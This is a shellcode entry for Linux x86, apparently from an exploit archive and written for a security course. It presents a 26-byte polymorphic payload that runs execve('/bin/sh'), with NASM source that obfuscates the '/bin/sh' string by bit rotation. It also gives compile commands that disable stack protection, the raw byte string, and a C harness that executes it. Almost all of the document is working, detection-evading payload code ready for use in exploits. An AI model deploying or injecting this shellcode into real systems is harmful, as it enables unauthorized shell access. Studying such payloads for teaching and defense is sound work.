Linux/x86 - execve(/bin/sh) + Polymorphic Shellcode (26 bytes)

/*
 
################### Description ###################
 
; Title   : Polymorphic execve /bin/sh - Shellcode
; Author  : Hashim Jawad
; Website : ihack4falafel[.]com
; Twitter : @ihack4falafel
; SLAE ID : SLAE-1115
; Purpose : spawn /bin/sh shell
; OS      : Linux
; Arch    : x86
; Size    : 26 bytes
 
#################### sh.nasm ######################
 
global _start
 
section .text
 
_start:
    ; zero out EAX
    xor eax,eax
    push eax
 
    ; push (/bin/sh) to the stack
    mov edi, 0x343997B7
    rol edi, 1
    push edi
    mov esi, 0xD2C45E5E
    ror esi, 1
    push esi
 
    ; ping kernel!
    lea ebx, [esp]
    mov al,0xb
    int 0x80
 
################### sh binary #####################
 
nasm -f elf32 -o sh.o sh.nasm
 
ld -z execstack -o sh sh.o
 
##################  Shellcode #####################
 
objdump -d sh -M intel
 
###################  Compile  #####################
 
gcc -fno-stack-protector -z execstack sh.c -o sh
 
*/
 
#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x31\xc0\x50\xbf\xb7\x97\x39\x34\xd1\xc7\x57\xbe\x5e\x5e\xc4\xd2\xd1\xce\x56\x8d\x1c\x24\xb0\x0b\xcd\x80";
 
main()
{
 
    printf("Shellcode Length:  %d\n", strlen(code));
 
    int (*ret)() = (int(*)())code;
 
    ret();
 
}